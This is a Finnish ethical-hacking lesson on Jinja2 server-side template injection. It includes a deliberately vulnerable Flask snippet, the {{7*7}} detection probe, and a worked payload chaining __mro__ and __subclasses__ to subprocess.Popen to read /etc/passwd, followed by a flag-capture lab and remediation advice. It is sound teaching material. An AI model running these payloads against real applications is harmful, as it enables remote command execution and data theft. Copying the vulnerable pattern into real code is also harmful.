Templaattien Injektiohaavoittuvuudet

Python Jinja2 Templaatti-Injektiot

Keskitaso
45 min

Jinja2

Python Jinja2 on mallinnusmoottori, joka mahdollistaa Python-koodin käytön HTML-templaattien luomiseen. Jinja2:ta käytetään usein yhdessä Python-webikehyksien, kuten Flaskin, kanssa, mutta sitä voidaan käyttää myös itsenäisesti.

Jinja2:n käyttö HTML-templaattien luomiseen on melko yksinkertaista. Voit esimerkiksi luoda Jinja2-mallin, jossa voit käyttää muuttujia, ehtolauseita ja silmukoita. Alla on muutama esimerkki:

Muuttujien käyttö

{% set nimi = "Matti" %}

<p>Tervehdys, {{ nimi }}!</p>

Tämä malli asettaa muuttujan nimi arvoksi "Matti" ja tulostaa sitten HTML-tunnisteeseen <p> tervehdyksen "Tervehdys, Matti!".


Ehtolauseiden käyttö

{% if ika >= 18 %}

<p>Olet täysi-ikäinen!</p>
{% else %}
<p>Olet alaikäinen.</p>
{% endif %}

Tämä malli tarkastaa onko ikä-muuttujan arvo suurempi tai yhtäkuin 18 ja tulostaa "Olet täysi-ikäinen" tai "Olet alaikäinen" sen mukaan.

Silmukoiden käyttö

<ul>
{% for tuote in tuotteet %}
  <li>{{ tuote.nimi }} - {{ tuote.hinta }}€</li>
{% endfor %}
</ul>

Tämä malli luo luettelon <ul>-tunnisteeseen, jossa jokainen listan elementti (<li>) sisältää tuotteen nimen ja hinnan. Tämä malli käyttää for-silmukkaa käydäkseen läpi listan tuotteet.

Nämä ovat vain muutamia esimerkkejä Jinja2:n käytöstä. Jinja2:ta voidaan käyttää monin eri tavoin ja sillä on paljon ominaisuuksia, jotka tekevät HTML-templaattien luomisesta joustavaa ja tehokasta.

Injektio

Jinjaa, kuten muitakin templaattimoottoreita voi käyttää virheellisesti ja aiheuttaa sovellukseen karmivan tietoturva-aukon.

Tässä on esimerkki haavoittuvasta Flask-sovelluksesta joka käyttää Jinja2-templaattimoottoria virheellisesti, antaen käyttäjän syötteen vaikuttaa itse templaattiin, eikä vain templaatille annettavaan dataan kuten olisi pitänyt.

if request.method == 'POST':
        name = request.form['name']
        template = f'<h1>Tervetuloa, { name }!</h1>'
        return render_template_string(template)
    else:
        template = '''
            <form method="POST">
                <label for="name">Nimi:</label>
                <input type="text" name="name" id="name">
                <button type="submit">Lähetä</button>
            </form>
        '''
        return render_template_string(template)

Haavoittuvuuden havaitseminen

Jinjaan kelpaa perinteinen tapa havaita templaatti-injektioita, eli siis syöttää {{7*7}} syötteessä ja katsoa että palauttaako sovellus HTML:ssä "49" samalla kohdalla. Tämä on lähes varma merkki templaatti-injektiosta.

Kokeillaan:

Kyllä, sovellus on haavoittuva.

Haavoittuvuuden hyväksikäyttö

Oletetaan, että haluat vaikkapa suorittaa käyttöjärjestelmäkomentoja lukeaksesi tiedoston /etc/passwd palvelimen levyltä. Tällöin haluaisit ujuttaa templaattiin seuraavan koodin:

import subprocess; subprocess.Popen("cat /etc/passwd",shell=True,stdout=-1).communicate()

(Jos ihmettelet, niin shell=True mahdollistaa käyttöjärjestelmäkomennon ajamisen komentotulkissa, ja stdout=-1 tarkoittaa stdout=subprocess.PIPE josta voit lukea halutessasi lisää tästä).

Jinja2 ei kuitenkaan tue tällaista syntaksia. Jinja2 templaatissa voi kyllä kutsua funktiota, mutta funktion pitää olla jo ladattuna sovelluksen muistiin, ja importtia et voi käyttää.

Voit kuitenkin yrittää löytää sovelluksen muistista luokan joka sopii tarkoituksiisi ja kutsua sitä. Käytännössä tämä onnistuu näppärästi listaamalla kaikki muistiin ladatut object-luokan aliluokat. Tämä taas onnistuu __class__, __mro__ ja __subclasses__ attribuuteilla.

object-tyypin hakeminen __class__ ja __mro__ avulla

Ihan ensimmäisenä sinun pitää päästä käsiksi object-tyyppiin. Tämä ei onnistu jinjassa suoraan, esimerkiksi tämä aiheuttaisi virheen jinjassa:

{{object.__name__}}

Vaikka normaalissa Python-kontekstissa object.__name__ tulostaisi 'object'.

>>> object.__name__
'object'

Voit kuitenkin hakea object-tyypin käsisi minkä tahansa muuttujan kautta, sen __mro__ attribuutin kautta.

Pythonin moduulien hakujärjestys määrittää, miten Python löytää ja lataa moduuleja, kun niitä tuodaan toiseen moduuliin.

__mro__ on attribuutti, joka löytyy Pythonin kaikilta luokilta ja joka sisältää luokan määrittämän perintöjärjestyksen. __mro__-attribuutti on kätevä työkalu monimutkaisten perintörakenteiden tutkimiseen ja ymmärtämiseen, ja sitäkin ketävempi templaatti injektioissa.

Esimerkiksi, Pythonin merkkijono (str) polveutuu objektista (object), joten str.__mro__ palauttaa listan (str, object).

>>> str.__mro__
(<class 'str'>, <class 'object'>)

Toisin sanoen seuraavat kaksi koodia tekevät saman asian:

>>> object.__name__
'object'
>>> str.__mro__[1].__name__
'object

Mutta Jinja-kontekstissa emme voi käyttää myöskään str-tyyppiä suoraan, sekin pitää hakea. Sen taas voimme hakea luomalla merkkijonon ja kutsumalla sen __class__ attribuuttia.

>>> 'moi'.__class__
<class 'str'>

Yhdistämällä molemmat (__class__ ja __mro__ attribuutit) saamme haettua object-tyypin Jinjan kelpuuttamalla tavalla.

>>> ''.__class__.__mro__[1]
<class 'object'

Sopivan luokan etsiminen __subclasses__ avulla

__subclasses__ taas on Pythonin kaikilla luokilla oleva funktio, joka palauttaa kaikki luokan välittömät alaluokat listana.

''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>...<class 'subprocess.Popen'>...

Luokkia tulee ylenensä aika paljon, kannattaa kopioida ne vaikka tekstiedotoriin ja etsiä luokkien seasta sopiva. Tässä tapauksessa mielenkiintoinen on <class 'subprocess.Popen'> joka on juuri se tyyppi joka me haluttiinkin käyttöjärjestelmäkomentojen suorittamiseksi.

Seuraava vaihe on selvittää luokan indeksi, eli kuinka mones luokka haluamasi luokka on. Se pitää nimittäin hakea numerolla. Voisit kopioida koko rimpsun tekstieeditoriin ja selvittää monesko listalla "subprocess.Popen" on, mutta se on paitsi hieman hitaanpuoleista, myös virhealtista.

Tyylikkäämpää on käyttää Jinja2-templaattimoottoria rakentamaan näkymä sinulle.

{% set classes=''.__class__.__mro__[1].__subclasses__() %}{%for c in classes %}<p>{{loop.index-1}} - {{c.__module__}}.{{ c.__name__ }}</p>{% endfor %}

Koodi voi näyttää vähän kryptiseltä jos et ole tuttu JInjan kanssa, mutta käytännössä kyseessä on for-looppi joka käy läpi kaikki luokat ja tulostaa sekä luokan järjestysnumeron, moduulin, että luokan nimen paragrafin (<p>) sisällä sivulle.

Numero on siis 6. Muista että tämä vaihtelee sovelluksittain, joten on tärkeää että ymmärrät konseptin ja että osaat etsiä sopivan luokan ja oikean indeksin itsellesi sovelluksesta kuin sovelluksesta.

Voimme varmistua tästä:

{{''.__class__.__mro__[1].__subclasses__()[6]}}

Jep! Oikea indeksi. Nyt pääsemme käsiksi subprocess.Popen luokkaan. Tästä on enää lyhyt matka voittoon.

{{''.__class__.__mro__[1].__subclasses__()[6]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}

Harjoitus

Kokeile seuraavaksi hyökkäystä itse! Kaksi vinkkiä:

  • Tästä sovelluksesta löytyy myös subprocess.Popen
  • Indeksi ei ole 6, vaan aika paljonkin suurempi.

Tavoite

Lue lippu tiedostosta /usr/src/app/flag.txt

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Jinja2 turvallinen käyttö

Jinja2 on itsessään turvallinen ja mainio vaihtoehto vanhanaikaiselle HTML-rakentamiselle. Mutta templaatti täytyy pitää staattisena, mieluiten ihan omassa tiedostossaan josta se ladataan. Vain templaatin data saa vaihtua koodin suorituksen aikana, ei templaatin rakenne.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.